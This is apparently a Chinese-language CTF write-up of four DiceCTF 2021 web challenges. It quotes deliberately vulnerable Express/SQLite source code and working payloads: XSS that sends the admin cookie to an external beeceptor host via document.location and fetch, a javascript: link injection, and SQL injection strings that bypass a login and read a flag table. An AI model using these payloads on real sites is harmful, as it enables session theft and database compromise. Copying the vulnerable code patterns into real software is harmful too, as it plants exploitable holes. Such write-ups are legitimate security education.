DiceCTF 2021
DiceCTF 2021
Babier CSP
代码审计
#index.js
const express = require('express');
const crypto = require("crypto");
const config = require("./config.js");
const app = express()
const port = process.env.port || 3000;
const SECRET = config.secret;
const NONCE = crypto.randomBytes(16).toString('base64');
const template = name => `
<html>
${name === '' ? '': `<h1>${name}</h1>`}
<a href='#' id=elem>View Fruit</a>
<script nonce=${NONCE}>
elem.onclick = () => {
location = "/?name=" + encodeURIComponent(["apple", "orange", "pineapple", "pear"][Math.floor(4 * Math.random())]);
}
</script>
</html>
`;
app.get('/', (req, res) => {
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
res.send(template(req.query.name || ""));
})
app.use('/' + SECRET, express.static(__dirname + "/secret"));
app.listen(port, () => {
console.log(`Example app listening at http://localhost:${port}`)
})
- index.js主要功能是随机返回四个水果
- 设置了NONCE参数,并会返回在页面源码中
- 包含一个secret目录,通过SECRET值访问
- 设置了CSP
重点看看这里的CSP
res.setHeader("Content-Security-Policy", `default-src none; script-src 'nonce-${NONCE}';`);
script-src 'nonce-${NONCE}';
表示允许nonce的js脚本来源
所以我们xss时要带入nonce值进行攻击
大概思路明确。给了admin bot,预期思路是通过xss,让管理员携带cookie访问我们的页面,从而窃取管理员cookie
xss
<script%20nonce="g%2bojjmb9xLfE%2b3j9PsP/Ig==">alert(1)</script>
(注意浏览器会将加号+识别为空格,url编码传入)
成功弹窗
窃取管理员cookie
<script> document.location='url'+document.cookie;</script>
由于有CSP,绕过CSP,祭出我的老兄弟,beeceptor,payload:
<script nonce="g+ojjmb9xLfE+3j9PsP/Ig==">document.location="https://abcdef.free.beeceptor.com/"+document.cookie;</script>
url编码,加上url传给admin bot访问
beeceptor成功获取secret值
访问,成功获取flag
Missing Flavortext
代码审计
const crypto = require('crypto');
const db = require('better-sqlite3')('db.sqlite3')
// remake the `users` table
db.exec(`DROP TABLE IF EXISTS users;`);
db.exec(`CREATE TABLE users(
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT
);`);
// add an admin user with a random password
db.exec(`INSERT INTO users (username, password) VALUES (
'admin',
'${crypto.randomBytes(16).toString('hex')}'
)`);
const express = require('express');
const bodyParser = require('body-parser');
const app = express();
// parse json and serve static files
app.use(bodyParser.urlencoded({ extended: true }));
app.use(express.static('static'));
// login route
app.post('/login', (req, res) => {
if (!req.body.username || !req.body.password) {
return res.redirect('/');
}
if ([req.body.username, req.body.password].some(v => v.includes('\''))) {
return res.redirect('/');
}
// see if user is in database
const query = `SELECT id FROM users WHERE
username = '${req.body.username}' AND
password = '${req.body.password}'
`;
let id;
try { id = db.prepare(query).get()?.id } catch {
return res.redirect('/');
}
// correct login
if (id) return res.sendFile('flag.html', { root: __dirname });
// incorrect login
return res.redirect('/');
});
app.listen(3000);
代码功能不难理解,登陆成功即可查看flag.html的内容,关键在于admin的密码经过随机处理,只能通过sql注入进行。但是发现其中过滤了单引号
app.use(bodyParser.urlencoded({ extended: true }));
看到上面这段代码,设置了extended: true,经过阅读相关文章后发现
extended: true
:表示使用第三方模块qs来处理当extended为true的时候,则可为任何数据类型。
qs处理后解析对象,而经实验证明.includes无法处理对象
所以我们可以使用对象来保证单引号不被过滤
sql注入
username=admin&password[]=a&password[]=' or 1=1;--
上面payload使用如下的对象结构保证单引号不被过滤
{
"username": "admin",
"password": [
[
"a",
"' OR 1=1;--"
]
]
}
测试发现上面使用/*多行注释同样可以直接打印出flag
Web Utils
(想吐槽一下,感觉代码写的有点乱,不够美观)
有两个网站,前者提供缩短链接和粘贴代码的功能,后者提供访问链接的功能
代码审计
主要代码逻辑在view.html中,减少篇幅我直接粘贴script标签中的内容了
<script async>
(async () => {
const id = window.location.pathname.split('/')[2];
if (! id) window.location = window.origin;
const res = await fetch(`${window.origin}/api/data/${id}`);
const { data, type } = await res.json();
if (! data || ! type ) window.location = window.origin;
if (type === 'link') return window.location = data;
if (document.readyState !== "complete")
await new Promise((r) => { window.addEventListener('load', r); });
document.title = 'Paste';
document.querySelector('div').textContent = data;
})()
</script>
我们在页面上可以看到只有两条路可以走,
Paste
document.title = 'Paste';
document.querySelector('div').textContent = data;
其中这条路设置了textContent
HTML DOM对象的textContent属性用于设置或返回指定节点及其所有后代的文本内容。此属性与nodeValue属性非常相似,但此属性返回所有子节点的文本。
可以不恰当的理解为这是一个编辑器,传入的所有代码实际都只是文本,无法解析。
Link
再看另外一条路
if (! data || ! type ) window.location = window.origin;
if (type === 'link') return window.location = data;
如果type为link则会重定向到我们的数据,但是在routes/api.js下限制了传入的数据必须为http/https开头
database.addData({ type: 'link', ...req.body, uid });
看到这里就会发现,有和php一样很经典的变量覆盖问题。
举个例子:
test = {a: 3}
test2 = {a: 1, b: 2, c:3, ...test}
> {a: 3, b: 2, c: 3}
变量覆盖
我们可以在createPaste里覆盖type=link即可绕过http的检查
{
"data":"javascript:fetch('https://abcdef.free.beeceptor.com?c='+document.cookie)",
"type":"link"
}
访问api/createPaste,构造非法代码
因为传入json格式,记得将Content-Type:改为application/json
让管理员访问https://web-utils.dicec.tf/view/uYfGCSVZ
在beeceptor中接受管理员cookie
Build a Panel
乍一看,怎么又像是个xss。。感觉国内xss,前端的考的都比较少,国外还是比较多的
代码审计
server.js内容比较多,分开分析
const admin_key = 'REDACTED'; // NOTE: The keys are not literally 'REDACTED', I've just taken them away from you :)
const secret_token = 'REDACTED';
const express = require('express');
const bodyParser = require("body-parser");
const cookieParser = require("cookie-parser");
const sqlite3 = require('sqlite3');
const { v4: uuidv4 } = require('uuid');
const app = express();
const db = new sqlite3.Database('./db/widgets.db', (err) => {
if(err){
return console.log(err.message);
}else{
console.log('Connected to sql database');
}
});
let query = `CREATE TABLE IF NOT EXISTS widgets (
id INTEGER PRIMARY KEY AUTOINCREMENT,
panelid TEXT,
widgetname TEXT,
widgetdata TEXT);`;
db.run(query);
query = `CREATE TABLE IF NOT EXISTS flag (
flag TEXT
)`;
db.run(query, [], (err) => {
if(!err){
let innerQuery = `INSERT INTO flag SELECT 'dice{fake_flag}'`;
db.run(innerQuery);
}else{
console.error('Could not create flag table');
}
});
声明了一些变量,插入了一个假flag,不懂什么意思。admin_key和secret_token感觉是比较有用的,继续往下看。
app.use(express.static(__dirname + '/public'));
app.use(bodyParser.json());
app.use(cookieParser());
app.use(function(_req, res, next) {
res.setHeader("Content-Security-Policy", "default-src 'none'; script-src 'self' http://cdn.embedly.com/; style-src 'self' http://cdn.embedly.com/; connect-src 'self' https://www.reddit.com/comments/;");
res.setHeader("X-Frame-Options", "DENY");
return next();
});
app.set('view engine', 'ejs');
app.get('/', (_req, res) => {
res.render('pages/index');
});
设置了CSP,根目录
const availableWidgets = ['time', 'weather', 'welcome'];
app.get('/status/:widgetName', (req, res) => {
const widgetName = req.params.widgetName;
if(availableWidgets.includes(widgetName)){
if(widgetName == 'time'){
res.json({'data': 'now :)'});
}else if(widgetName == 'weather'){
res.json({'data': 'as you can see widgets are not fully functional just yet'});
}else if(widgetName == 'welcome'){
res.json({'data': 'No additional data here but feel free to add other widgets!'});
}
}else{
res.json({'data': 'error! widget was not found'});
}
});
可以看到此处type可填写的值规定为availableWidgets中的三个值
app.get('/admin/debug/add_widget', async (req, res) => {
const cookies = req.cookies;
const queryParams = req.query;
if(cookies['token'] && cookies['token'] == secret_token){
query = `INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');`;
db.run(query, (err) => {
if(err){
console.log(err);
res.send('something went wrong');
}else{
res.send('success!');
}
});
}else{
res.redirect('/');
}
});
可以看到此处对我们传入的参数并没有任何过滤,直接插入到sql语句中,那么我们可以控制其中的widgetname查询之前创建的flag。看到这里知道secret_token的用处了,所以我们不能直接访问该url,在admin_bot下,让admin访问即可
sql注入
我们来分析一下格式
INSERT INTO widgets (panelid, widgetname, widgetdata) VALUES ('${queryParams['panelid']}', '${queryParams['widgetname']}', '${queryParams['widgetdata']}');
panelid可以在cookie中找到,widigetname即为我们要查询的sql语句
widgetdata满足json格式
{"type":"weather"}
注入形式如下:
68e8a45f-3dc2-4387-b8cf-396bc12f7374', (SELECT * FROM flag), '{"type":"weather"}');--
最终payload:
https://build-a-panel.dicec.tf/admin/debug/add_widget?panelid=68e8a45f-3dc2-4387-b8cf-396bc12f7374',+(SELECT+*+FROM+flag),+'{"type"%3a"weather"}')%3b--&widgetname=0&widgetdata=0